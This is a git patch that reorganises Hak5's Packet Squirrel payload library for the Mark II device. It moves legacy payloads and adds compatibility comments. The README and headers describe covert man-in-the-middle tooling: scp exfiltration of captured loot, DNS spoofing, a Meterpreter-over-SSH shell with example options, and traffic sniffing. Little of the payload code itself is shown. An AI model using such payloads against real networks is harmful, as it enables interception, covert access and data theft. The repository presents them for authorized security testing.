From d3250b4165bbc20dc737fc4d94e2cccd4b3cd2a1 Mon Sep 17 00:00:00 2001 From: Mike Kershaw / Dragorn Date: Mon, 24 Jul 2023 14:58:18 -0400 Subject: [PATCH] Update repos for Packet Squirrel Mk 2 release --- README.md | 39 ++- legacy-mk1/README.md | 75 +++++ .../exfiltration/Email-Sender/README.md | 0 .../exfiltration/Email-Sender/SENDMAIL | 0 .../exfiltration/Email-Sender/payload.sh | 3 + .../exfiltration/Email-Sender/sendemail.py | 0 .../library/exfiltration/FreeDaNutz/README.md | 0 .../exfiltration/FreeDaNutz/payload.sh | 3 + .../library/general/I-Hate-Wifi/README.md | 0 .../library/general/I-Hate-Wifi/payload.sh | 3 + .../library/general/Wake-On-Lan/README.md | 0 .../library/general/Wake-On-Lan/payload.sh | 4 + .../library/general/Wake-On-Lan/wol.py | 0 .../library/general/caternet/index.html | 0 .../library/general/caternet/kerby1.jpg | Bin .../library/general/caternet/kerby2.jpg | Bin .../library/general/caternet/kerby3.jpg | Bin .../library/general/caternet/kerby4.jpg | Bin .../library/general/caternet/kerby5.jpg | Bin .../library/general/caternet/kerby6.jpg | Bin .../library/general/caternet/kerby7.jpg | Bin .../library/general/caternet/kerby8.jpg | Bin .../library/general/caternet/kerby9.JPG | Bin .../library/general/caternet/payload.sh | 4 + .../library/interception/dnsspoof/payload.sh | 3 + .../library/interception/dnsspoof/spoofhost | 0 .../library/recon/ipinfo/payload.txt | 3 + .../library/recon/nmapdump/README.md | 0 .../library/recon/nmapdump/payload.sh | 3 + .../Meterpreter-via-SSH/README.md | 0 .../Meterpreter-via-SSH/payload.sh | 4 + .../Meterpreter-via-SSH/server.rc | 0 .../SSH-remote-access/payload.sh | 6 +- .../remote-access/SSH-remote-access/readme.md | 0 .../remote-access/Togglable-VPN/payload.sh | 3 + .../library/remote-access/openvpn/config.ovpn | 0 .../library/remote-access/openvpn/payload.sh | 3 + .../library/sniffing/ispyintel/README.md | 0 .../library/sniffing/ispyintel/payload.sh | 3 + .../library/sniffing/ngrep/payload.sh | 4 + .../library/sniffing/ngrep/readme.md | 0 .../library/sniffing/tcpdump/payload.sh | 3 + .../payloads}/switch1/payload.sh | 0 .../payloads}/switch2/payload.sh | 0 .../payloads}/switch3/payload.sh | 0 payloads/exfiltration/pcl_printer/payload | 53 ++++ payloads/general/gatekeeper/payload | 32 ++ payloads/interception/dns_sinkhole/payload | 14 + payloads/interception/web_intercept/payload | 30 ++ .../interception/web_intercept/squirrel.jpg | Bin 0 -> 134692 bytes payloads/recon/nmapdump/README.md | 30 ++ payloads/recon/nmapdump/payload.sh | 276 ++++++++++++++++++ payloads/remote-access/wake_on_lan/README.md | 7 + payloads/remote-access/wake_on_lan/payload | 37 +++ .../remote-access/wake_on_lan/python_wol.py | 21 ++ payloads/sniffing/tcpdump/payload | 72 +++++ 56 files changed, 731 insertions(+), 7 deletions(-) create mode 100644 legacy-mk1/README.md rename {payloads => legacy-mk1/payloads}/library/exfiltration/Email-Sender/README.md (100%) rename {payloads => legacy-mk1/payloads}/library/exfiltration/Email-Sender/SENDMAIL (100%) rename {payloads => legacy-mk1/payloads}/library/exfiltration/Email-Sender/payload.sh (86%) mode change 100644 => 100755 rename {payloads => legacy-mk1/payloads}/library/exfiltration/Email-Sender/sendemail.py (100%) rename {payloads => legacy-mk1/payloads}/library/exfiltration/FreeDaNutz/README.md (100%) rename {payloads => legacy-mk1/payloads}/library/exfiltration/FreeDaNutz/payload.sh (98%) rename {payloads => legacy-mk1/payloads}/library/general/I-Hate-Wifi/README.md (100%) rename {payloads => legacy-mk1/payloads}/library/general/I-Hate-Wifi/payload.sh (88%) mode change 100644 => 100755 rename {payloads => legacy-mk1/payloads}/library/general/Wake-On-Lan/README.md (100%) rename {payloads => legacy-mk1/payloads}/library/general/Wake-On-Lan/payload.sh (82%) mode change 100644 => 100755 rename {payloads => legacy-mk1/payloads}/library/general/Wake-On-Lan/wol.py (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/index.html (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby1.jpg (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby2.jpg (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby3.jpg (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby4.jpg (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby5.jpg (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby6.jpg (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby7.jpg (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby8.jpg (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/kerby9.JPG (100%) rename {payloads => legacy-mk1/payloads}/library/general/caternet/payload.sh (75%) rename {payloads => legacy-mk1/payloads}/library/interception/dnsspoof/payload.sh (86%) rename {payloads => legacy-mk1/payloads}/library/interception/dnsspoof/spoofhost (100%) rename {payloads => legacy-mk1/payloads}/library/recon/ipinfo/payload.txt (94%) mode change 100644 => 100755 rename {payloads => legacy-mk1/payloads}/library/recon/nmapdump/README.md (100%) rename {payloads => legacy-mk1/payloads}/library/recon/nmapdump/payload.sh (98%) rename {payloads => legacy-mk1/payloads}/library/remote-access/Meterpreter-via-SSH/README.md (100%) rename {payloads => legacy-mk1/payloads}/library/remote-access/Meterpreter-via-SSH/payload.sh (95%) mode change 100644 => 100755 rename {payloads => legacy-mk1/payloads}/library/remote-access/Meterpreter-via-SSH/server.rc (100%) rename {payloads => legacy-mk1/payloads}/library/remote-access/SSH-remote-access/payload.sh (95%) mode change 100644 => 100755 rename {payloads => legacy-mk1/payloads}/library/remote-access/SSH-remote-access/readme.md (100%) rename {payloads => legacy-mk1/payloads}/library/remote-access/Togglable-VPN/payload.sh (89%) rename {payloads => legacy-mk1/payloads}/library/remote-access/openvpn/config.ovpn (100%) rename {payloads => legacy-mk1/payloads}/library/remote-access/openvpn/payload.sh (92%) rename {payloads => legacy-mk1/payloads}/library/sniffing/ispyintel/README.md (100%) rename {payloads => legacy-mk1/payloads}/library/sniffing/ispyintel/payload.sh (97%) rename {payloads => legacy-mk1/payloads}/library/sniffing/ngrep/payload.sh (89%) mode change 100644 => 100755 rename {payloads => legacy-mk1/payloads}/library/sniffing/ngrep/readme.md (100%) rename {payloads => legacy-mk1/payloads}/library/sniffing/tcpdump/payload.sh (91%) rename {payloads => legacy-mk1/payloads}/switch1/payload.sh (100%) rename {payloads => legacy-mk1/payloads}/switch2/payload.sh (100%) rename {payloads => legacy-mk1/payloads}/switch3/payload.sh (100%) create mode 100755 payloads/exfiltration/pcl_printer/payload create mode 100755 payloads/general/gatekeeper/payload create mode 100755 payloads/interception/dns_sinkhole/payload create mode 100755 payloads/interception/web_intercept/payload create mode 100644 payloads/interception/web_intercept/squirrel.jpg create mode 100644 payloads/recon/nmapdump/README.md create mode 100644 payloads/recon/nmapdump/payload.sh create mode 100644 payloads/remote-access/wake_on_lan/README.md create mode 100755 payloads/remote-access/wake_on_lan/payload create mode 100755 payloads/remote-access/wake_on_lan/python_wol.py create mode 100755 payloads/sniffing/tcpdump/payload diff --git a/README.md b/README.md index 2752ede..53cc292 100644 --- a/README.md +++ b/README.md @@ -1,39 +1,63 @@ # Payload Library for the Packet Squirrel by Hak5 -This repository contains payloads and extensions for the Hak5 Packet Squirrel. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads. +This repository contains payloads and extensions for the Hak5 Packet Squirrel, developed by the Hak5 Community. + +Have a great payload? Submit it by forking the payload repository and submitting a pull request!A + +Learn more about Github pull requests [here](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) or from the Hak5 Bash Bunny tutorial [here](https://www.youtube.com/watch?v=H6z9BXevsZg). + +## Packet Squirrel Versions + +The Packet Squirrel Mark II expands on the capabilities of the original Packet Squirrel, introducing new commands and more flexible networking configurations. + +Payloads for the original Packet Squirrel can be found in the `legacy-mk1` directory. These payloads may not work without modification on the Packet Squirrel Mark II. ## About the Packet Squirrel -The Packet Squirrel by Hak5 is a stealthy pocket-sized man-in-the-middle. +The Packet Squirrel Mark II by Hak5 is a stealthy pocket-sized man-in-the-middle. This Ethernet multi-tool is designed to give you covert remote access, painless packet captures, and secure VPN connections with the flip of a switch. - [Purchase at Hak5](https://hak5.org/products/packet-squirrel "Purchase at Hak5") -- [Documentation](https://docs.hak5.org/hc/en-us/categories/360000982574-Packet-Squirrel "Documentation") +- [Documentation](https://docs.hak5.org/packet-squirrel-mark-ii "Documentation") - [Forums](https://forums.hak5.org/forum/94-packet-squirrel/ "Forums") - [Discord](https://hak5.org/discord "Discord") ![Packet Squirrel](https://cdn.shopify.com/s/files/1/0068/2142/products/Packet_Squirrel_300x.jpg) ## Updating + If you've downloaded this repository via `git`, you can update to the latest versions of the payloads with `git pull`. If you downloaded as a zip or other file, please download the latest from [github](https://github.com/hak5/packetsquirrel-payloads/). ## Disclaimer -Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness. As with any script, you are advised to proceed with caution. + +Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness or safety. As with any script, you are advised to proceed with caution. ## Legal + Payloads from this repository are provided for educational purposes only. Hak5 gear is intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use. ## Contributing -Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available. + +Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publicly available. Please adhere to the following best practices and style guide when submitting a payload. +Hak5 reserves the right to modify payloads to meet the guidelines when necessary, or to decline to include a payload in the public repository. + +Please ensure that any default configuration values do not point to actual services! Do not include *your* passwords or login information in submitted payloads! + ### Naming Conventions -Please give your payload a unique and descriptive name. Do not use spaces in payload names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category. + +Please give your payload a unique and descriptive name. Do not use spaces in payload names. Each payload should be placed into its own directory, with `-` or `_` used in place of spaces, in one of the categories such as exfiltration, phishing, remote_access or recon. Please do not create your own category. + +The payload itself should be named `payload`. + +Additional files and documentation can be included in the payload directory. Documentation should be in `README.md` or `README.txt`. ### Comments + Payloads should begin with comments specifying at the very least the name of the payload and author. Additional information such as a brief description, the target, any dependencies / prerequisites and the LED status used is helpful. # Title: Meterpreter-via-SSH @@ -53,6 +77,7 @@ Payloads should begin with comments specifying at the very least the name of the # Cyan Blink 1 Time - Meterpreter Successful ### Configuration Options + Configurable options should be specified in variables at the top of the payload.txt file # Options @@ -61,9 +86,11 @@ Configurable options should be specified in variables at the top of the payload. MSF_PORT=31337 ### LED + The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or `NETMODE`. LED SETUP NETMODE NAT Common payload states include a `SETUP`, with may include a `FAIL` if certain conditions are not met. This is typically followed by either a single `ATTACK` or multiple `STAGEs`. More complex payloads may include a `SPECIAL` function to wait until certain conditions are met. Payloads commonly end with a `CLEANUP` phase, such as moving and deleting files or stopping services. A payload may `FINISH` when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to `LED` states. + diff --git a/legacy-mk1/README.md b/legacy-mk1/README.md new file mode 100644 index 0000000..60a5e16 --- /dev/null +++ b/legacy-mk1/README.md @@ -0,0 +1,75 @@ +# Legacy payloads + +These payloads are for the original Packet Squirrel device. + +They may or may not run without modification on the Packet Squirrel Mark II. + + +## Payload Library for the Packet Squirrel by Hak5 + +This repository contains payloads and extensions for the Hak5 Packet Squirrel. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads. + +## About the Packet Squirrel + +The Packet Squirrel by Hak5 is a stealthy pocket-sized man-in-the-middle. + +This Ethernet multi-tool is designed to give you covert remote access, painless packet captures, and secure VPN connections with the flip of a switch. + +- [Purchase at Hak5](https://hak5.org/products/packet-squirrel "Purchase at Hak5") +- [Documentation](https://docs.hak5.org/hc/en-us/categories/360000982574-Packet-Squirrel "Documentation") +- [Forums](https://forums.hak5.org/forum/94-packet-squirrel/ "Forums") +- [Discord](https://hak5.org/discord "Discord") + +![Packet Squirrel](https://cdn.shopify.com/s/files/1/0068/2142/products/Packet_Squirrel_300x.jpg) + +## Updating +If you've downloaded this repository via `git`, you can update to the latest versions of the payloads with `git pull`. If you downloaded as a zip or other file, please download the latest from [github](https://github.com/hak5/packetsquirrel-payloads/). + +## Disclaimer +Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness. As with any script, you are advised to proceed with caution. + +## Legal +Payloads from this repository are provided for educational purposes only. Hak5 gear is intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use. + +## Contributing +Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available. + +Please adhere to the following best practices and style guide when submitting a payload. + +### Naming Conventions +Please give your payload a unique and descriptive name. Do not use spaces in payload names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category. + +### Comments +Payloads should begin with comments specifying at the very least the name of the payload and author. Additional information such as a brief description, the target, any dependencies / prerequisites and the LED status used is helpful. + + # Title: Meterpreter-via-SSH + # Description: Covert meterpreter shell via overt SSH connection + # Author: Zappus + # Version: 1.0 + # Category: Remote-Access + # Net Mode: NAT + # Firmware: 1.2 + # + # LED State Descriptions + # Magenta Solid - Configuring NETMODE + # LED OFF - Waiting for BUTTON + # Red Blink 2 Times - SSH Connection Failed + # Amber Blink 5 Times - SSH Connection Successful + # Red Blink 1 Time - Meterpreter Failed + # Cyan Blink 1 Time - Meterpreter Successful + +### Configuration Options +Configurable options should be specified in variables at the top of the payload.txt file + + # Options + SSH_USER="username" + SSH_HOST="hostname" + MSF_PORT=31337 + +### LED +The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or `NETMODE`. + + LED SETUP + NETMODE NAT + +Common payload states include a `SETUP`, with may include a `FAIL` if certain conditions are not met. This is typically followed by either a single `ATTACK` or multiple `STAGEs`. More complex payloads may include a `SPECIAL` function to wait until certain conditions are met. Payloads commonly end with a `CLEANUP` phase, such as moving and deleting files or stopping services. A payload may `FINISH` when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to `LED` states. diff --git a/payloads/library/exfiltration/Email-Sender/README.md b/legacy-mk1/payloads/library/exfiltration/Email-Sender/README.md similarity index 100% rename from payloads/library/exfiltration/Email-Sender/README.md rename to legacy-mk1/payloads/library/exfiltration/Email-Sender/README.md diff --git a/payloads/library/exfiltration/Email-Sender/SENDMAIL b/legacy-mk1/payloads/library/exfiltration/Email-Sender/SENDMAIL similarity index 100% rename from payloads/library/exfiltration/Email-Sender/SENDMAIL rename to legacy-mk1/payloads/library/exfiltration/Email-Sender/SENDMAIL diff --git a/payloads/library/exfiltration/Email-Sender/payload.sh b/legacy-mk1/payloads/library/exfiltration/Email-Sender/payload.sh old mode 100644 new mode 100755 similarity index 86% rename from payloads/library/exfiltration/Email-Sender/payload.sh rename to legacy-mk1/payloads/library/exfiltration/Email-Sender/payload.sh index 0418657..0616e8a --- a/payloads/library/exfiltration/Email-Sender/payload.sh +++ b/legacy-mk1/payloads/library/exfiltration/Email-Sender/payload.sh @@ -1,5 +1,8 @@ #!/bin/bash +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II + function run() { LED STAGE1 SWITCH_POS=$(SWITCH) diff --git a/payloads/library/exfiltration/Email-Sender/sendemail.py b/legacy-mk1/payloads/library/exfiltration/Email-Sender/sendemail.py similarity index 100% rename from payloads/library/exfiltration/Email-Sender/sendemail.py rename to legacy-mk1/payloads/library/exfiltration/Email-Sender/sendemail.py diff --git a/payloads/library/exfiltration/FreeDaNutz/README.md b/legacy-mk1/payloads/library/exfiltration/FreeDaNutz/README.md similarity index 100% rename from payloads/library/exfiltration/FreeDaNutz/README.md rename to legacy-mk1/payloads/library/exfiltration/FreeDaNutz/README.md diff --git a/payloads/library/exfiltration/FreeDaNutz/payload.sh b/legacy-mk1/payloads/library/exfiltration/FreeDaNutz/payload.sh similarity index 98% rename from payloads/library/exfiltration/FreeDaNutz/payload.sh rename to legacy-mk1/payloads/library/exfiltration/FreeDaNutz/payload.sh index 07f3633..b6e12f1 100644 --- a/payloads/library/exfiltration/FreeDaNutz/payload.sh +++ b/legacy-mk1/payloads/library/exfiltration/FreeDaNutz/payload.sh @@ -1,5 +1,8 @@ #!/bin/bash # +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: FreeDaNutz # Description: This payload will compress the loot folder and then send that file to a remote server via scp diff --git a/payloads/library/general/I-Hate-Wifi/README.md b/legacy-mk1/payloads/library/general/I-Hate-Wifi/README.md similarity index 100% rename from payloads/library/general/I-Hate-Wifi/README.md rename to legacy-mk1/payloads/library/general/I-Hate-Wifi/README.md diff --git a/payloads/library/general/I-Hate-Wifi/payload.sh b/legacy-mk1/payloads/library/general/I-Hate-Wifi/payload.sh old mode 100644 new mode 100755 similarity index 88% rename from payloads/library/general/I-Hate-Wifi/payload.sh rename to legacy-mk1/payloads/library/general/I-Hate-Wifi/payload.sh index 594c46b..6ea1683 --- a/payloads/library/general/I-Hate-Wifi/payload.sh +++ b/legacy-mk1/payloads/library/general/I-Hate-Wifi/payload.sh @@ -1,5 +1,8 @@ #!/bin/bash +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II + function scan() { LED G ifconfig wlan0 down diff --git a/payloads/library/general/Wake-On-Lan/README.md b/legacy-mk1/payloads/library/general/Wake-On-Lan/README.md similarity index 100% rename from payloads/library/general/Wake-On-Lan/README.md rename to legacy-mk1/payloads/library/general/Wake-On-Lan/README.md diff --git a/payloads/library/general/Wake-On-Lan/payload.sh b/legacy-mk1/payloads/library/general/Wake-On-Lan/payload.sh old mode 100644 new mode 100755 similarity index 82% rename from payloads/library/general/Wake-On-Lan/payload.sh rename to legacy-mk1/payloads/library/general/Wake-On-Lan/payload.sh index dc71da8..9b273d6 --- a/payloads/library/general/Wake-On-Lan/payload.sh +++ b/legacy-mk1/payloads/library/general/Wake-On-Lan/payload.sh @@ -1,4 +1,8 @@ #!/bin/bash + +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II + LED STAGE1 NETMODE NAT diff --git a/payloads/library/general/Wake-On-Lan/wol.py b/legacy-mk1/payloads/library/general/Wake-On-Lan/wol.py similarity index 100% rename from payloads/library/general/Wake-On-Lan/wol.py rename to legacy-mk1/payloads/library/general/Wake-On-Lan/wol.py diff --git a/payloads/library/general/caternet/index.html b/legacy-mk1/payloads/library/general/caternet/index.html similarity index 100% rename from payloads/library/general/caternet/index.html rename to legacy-mk1/payloads/library/general/caternet/index.html diff --git a/payloads/library/general/caternet/kerby1.jpg b/legacy-mk1/payloads/library/general/caternet/kerby1.jpg similarity index 100% rename from payloads/library/general/caternet/kerby1.jpg rename to legacy-mk1/payloads/library/general/caternet/kerby1.jpg diff --git a/payloads/library/general/caternet/kerby2.jpg b/legacy-mk1/payloads/library/general/caternet/kerby2.jpg similarity index 100% rename from payloads/library/general/caternet/kerby2.jpg rename to legacy-mk1/payloads/library/general/caternet/kerby2.jpg diff --git a/payloads/library/general/caternet/kerby3.jpg b/legacy-mk1/payloads/library/general/caternet/kerby3.jpg similarity index 100% rename from payloads/library/general/caternet/kerby3.jpg rename to legacy-mk1/payloads/library/general/caternet/kerby3.jpg diff --git a/payloads/library/general/caternet/kerby4.jpg b/legacy-mk1/payloads/library/general/caternet/kerby4.jpg similarity index 100% rename from payloads/library/general/caternet/kerby4.jpg rename to legacy-mk1/payloads/library/general/caternet/kerby4.jpg diff --git a/payloads/library/general/caternet/kerby5.jpg b/legacy-mk1/payloads/library/general/caternet/kerby5.jpg similarity index 100% rename from payloads/library/general/caternet/kerby5.jpg rename to legacy-mk1/payloads/library/general/caternet/kerby5.jpg diff --git a/payloads/library/general/caternet/kerby6.jpg b/legacy-mk1/payloads/library/general/caternet/kerby6.jpg similarity index 100% rename from payloads/library/general/caternet/kerby6.jpg rename to legacy-mk1/payloads/library/general/caternet/kerby6.jpg diff --git a/payloads/library/general/caternet/kerby7.jpg b/legacy-mk1/payloads/library/general/caternet/kerby7.jpg similarity index 100% rename from payloads/library/general/caternet/kerby7.jpg rename to legacy-mk1/payloads/library/general/caternet/kerby7.jpg diff --git a/payloads/library/general/caternet/kerby8.jpg b/legacy-mk1/payloads/library/general/caternet/kerby8.jpg similarity index 100% rename from payloads/library/general/caternet/kerby8.jpg rename to legacy-mk1/payloads/library/general/caternet/kerby8.jpg diff --git a/payloads/library/general/caternet/kerby9.JPG b/legacy-mk1/payloads/library/general/caternet/kerby9.JPG similarity index 100% rename from payloads/library/general/caternet/kerby9.JPG rename to legacy-mk1/payloads/library/general/caternet/kerby9.JPG diff --git a/payloads/library/general/caternet/payload.sh b/legacy-mk1/payloads/library/general/caternet/payload.sh similarity index 75% rename from payloads/library/general/caternet/payload.sh rename to legacy-mk1/payloads/library/general/caternet/payload.sh index a101842..bd90120 100644 --- a/payloads/library/general/caternet/payload.sh +++ b/legacy-mk1/payloads/library/general/caternet/payload.sh @@ -1,4 +1,8 @@ # Title: Caternet +# +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Author: Hak5Darren # Version: 1.0 # Description: Forwards all traffic to local webserver hosting cat photos. diff --git a/payloads/library/interception/dnsspoof/payload.sh b/legacy-mk1/payloads/library/interception/dnsspoof/payload.sh similarity index 86% rename from payloads/library/interception/dnsspoof/payload.sh rename to legacy-mk1/payloads/library/interception/dnsspoof/payload.sh index b83951a..7097bae 100755 --- a/payloads/library/interception/dnsspoof/payload.sh +++ b/legacy-mk1/payloads/library/interception/dnsspoof/payload.sh @@ -1,4 +1,7 @@ #!/bin/bash +# +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II # # Title: DNSSpoof # Description: Forge replies to arbitrary DNS queries using DNSMasq diff --git a/payloads/library/interception/dnsspoof/spoofhost b/legacy-mk1/payloads/library/interception/dnsspoof/spoofhost similarity index 100% rename from payloads/library/interception/dnsspoof/spoofhost rename to legacy-mk1/payloads/library/interception/dnsspoof/spoofhost diff --git a/payloads/library/recon/ipinfo/payload.txt b/legacy-mk1/payloads/library/recon/ipinfo/payload.txt old mode 100644 new mode 100755 similarity index 94% rename from payloads/library/recon/ipinfo/payload.txt rename to legacy-mk1/payloads/library/recon/ipinfo/payload.txt index b7517fe..7fd7c8e --- a/payloads/library/recon/ipinfo/payload.txt +++ b/legacy-mk1/payloads/library/recon/ipinfo/payload.txt @@ -1,5 +1,8 @@ #!/bin/bash # +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: IP Info # Author: Hak5Darren # Version: 1.0 diff --git a/payloads/library/recon/nmapdump/README.md b/legacy-mk1/payloads/library/recon/nmapdump/README.md similarity index 100% rename from payloads/library/recon/nmapdump/README.md rename to legacy-mk1/payloads/library/recon/nmapdump/README.md diff --git a/payloads/library/recon/nmapdump/payload.sh b/legacy-mk1/payloads/library/recon/nmapdump/payload.sh similarity index 98% rename from payloads/library/recon/nmapdump/payload.sh rename to legacy-mk1/payloads/library/recon/nmapdump/payload.sh index 9b09131..0cadbd1 100644 --- a/payloads/library/recon/nmapdump/payload.sh +++ b/legacy-mk1/payloads/library/recon/nmapdump/payload.sh @@ -1,5 +1,8 @@ #!/bin/bash # +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: NMap Dump # Description: Dumps NMap scan data to USB storage. # Author: infoskirmish.com diff --git a/payloads/library/remote-access/Meterpreter-via-SSH/README.md b/legacy-mk1/payloads/library/remote-access/Meterpreter-via-SSH/README.md similarity index 100% rename from payloads/library/remote-access/Meterpreter-via-SSH/README.md rename to legacy-mk1/payloads/library/remote-access/Meterpreter-via-SSH/README.md diff --git a/payloads/library/remote-access/Meterpreter-via-SSH/payload.sh b/legacy-mk1/payloads/library/remote-access/Meterpreter-via-SSH/payload.sh old mode 100644 new mode 100755 similarity index 95% rename from payloads/library/remote-access/Meterpreter-via-SSH/payload.sh rename to legacy-mk1/payloads/library/remote-access/Meterpreter-via-SSH/payload.sh index aae8991..006d2dc --- a/payloads/library/remote-access/Meterpreter-via-SSH/payload.sh +++ b/legacy-mk1/payloads/library/remote-access/Meterpreter-via-SSH/payload.sh @@ -1,4 +1,8 @@ #!/bin/bash +# +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: Meterpreter-via-SSH # Description: Covert meterpreter shell via overt SSH connection # Author: Zappus diff --git a/payloads/library/remote-access/Meterpreter-via-SSH/server.rc b/legacy-mk1/payloads/library/remote-access/Meterpreter-via-SSH/server.rc similarity index 100% rename from payloads/library/remote-access/Meterpreter-via-SSH/server.rc rename to legacy-mk1/payloads/library/remote-access/Meterpreter-via-SSH/server.rc diff --git a/payloads/library/remote-access/SSH-remote-access/payload.sh b/legacy-mk1/payloads/library/remote-access/SSH-remote-access/payload.sh old mode 100644 new mode 100755 similarity index 95% rename from payloads/library/remote-access/SSH-remote-access/payload.sh rename to legacy-mk1/payloads/library/remote-access/SSH-remote-access/payload.sh index a12680f..6c61da0 --- a/payloads/library/remote-access/SSH-remote-access/payload.sh +++ b/legacy-mk1/payloads/library/remote-access/SSH-remote-access/payload.sh @@ -1,4 +1,8 @@ #!/bin/bash +# +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: SSH Remote Management Tool for Packet Squirrel # Description: Makes packet Squirrel directly accessible via SSH on a remote server # Author: BlackPropaganda @@ -85,4 +89,4 @@ uci commit autossh LED ATTACK # starting autossh -/etc/init.d/autossh start \ No newline at end of file +/etc/init.d/autossh start diff --git a/payloads/library/remote-access/SSH-remote-access/readme.md b/legacy-mk1/payloads/library/remote-access/SSH-remote-access/readme.md similarity index 100% rename from payloads/library/remote-access/SSH-remote-access/readme.md rename to legacy-mk1/payloads/library/remote-access/SSH-remote-access/readme.md diff --git a/payloads/library/remote-access/Togglable-VPN/payload.sh b/legacy-mk1/payloads/library/remote-access/Togglable-VPN/payload.sh similarity index 89% rename from payloads/library/remote-access/Togglable-VPN/payload.sh rename to legacy-mk1/payloads/library/remote-access/Togglable-VPN/payload.sh index 1490660..c93c0ba 100644 --- a/payloads/library/remote-access/Togglable-VPN/payload.sh +++ b/legacy-mk1/payloads/library/remote-access/Togglable-VPN/payload.sh @@ -1,5 +1,8 @@ #!/bin/bash # +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: Togglable-VPN # Description: Based on the default VPN payload; this can now create a VPN-connection to an OpenVPN-server, # or if the button is pressed, send traffic from the clients through said tunnel. diff --git a/payloads/library/remote-access/openvpn/config.ovpn b/legacy-mk1/payloads/library/remote-access/openvpn/config.ovpn similarity index 100% rename from payloads/library/remote-access/openvpn/config.ovpn rename to legacy-mk1/payloads/library/remote-access/openvpn/config.ovpn diff --git a/payloads/library/remote-access/openvpn/payload.sh b/legacy-mk1/payloads/library/remote-access/openvpn/payload.sh similarity index 92% rename from payloads/library/remote-access/openvpn/payload.sh rename to legacy-mk1/payloads/library/remote-access/openvpn/payload.sh index 37bf7b3..4e65160 100755 --- a/payloads/library/remote-access/openvpn/payload.sh +++ b/legacy-mk1/payloads/library/remote-access/openvpn/payload.sh @@ -1,5 +1,8 @@ #!/bin/bash # +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: OpenVPN # Description: Create a connection to a VPN-connection to an OpenVPN-server. Optionally: Send traffic from the clients through said tunnel. # Author: Hak5 diff --git a/payloads/library/sniffing/ispyintel/README.md b/legacy-mk1/payloads/library/sniffing/ispyintel/README.md similarity index 100% rename from payloads/library/sniffing/ispyintel/README.md rename to legacy-mk1/payloads/library/sniffing/ispyintel/README.md diff --git a/payloads/library/sniffing/ispyintel/payload.sh b/legacy-mk1/payloads/library/sniffing/ispyintel/payload.sh similarity index 97% rename from payloads/library/sniffing/ispyintel/payload.sh rename to legacy-mk1/payloads/library/sniffing/ispyintel/payload.sh index 65a7b54..80da2b2 100644 --- a/payloads/library/sniffing/ispyintel/payload.sh +++ b/legacy-mk1/payloads/library/sniffing/ispyintel/payload.sh @@ -1,5 +1,8 @@ #!/bin/bash # +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# # Title: iSpy Passive Intel Gathering # Description: Launches various tools to sniff out intel data. diff --git a/payloads/library/sniffing/ngrep/payload.sh b/legacy-mk1/payloads/library/sniffing/ngrep/payload.sh old mode 100644 new mode 100755 similarity index 89% rename from payloads/library/sniffing/ngrep/payload.sh rename to legacy-mk1/payloads/library/sniffing/ngrep/payload.sh index ed90c40..e18c20b --- a/payloads/library/sniffing/ngrep/payload.sh +++ b/legacy-mk1/payloads/library/sniffing/ngrep/payload.sh @@ -1,4 +1,8 @@ #!/bin/bash +# +# This payload is for the original Packet Squirrel. It may not work on +# the Packet Squirrel Mark II +# 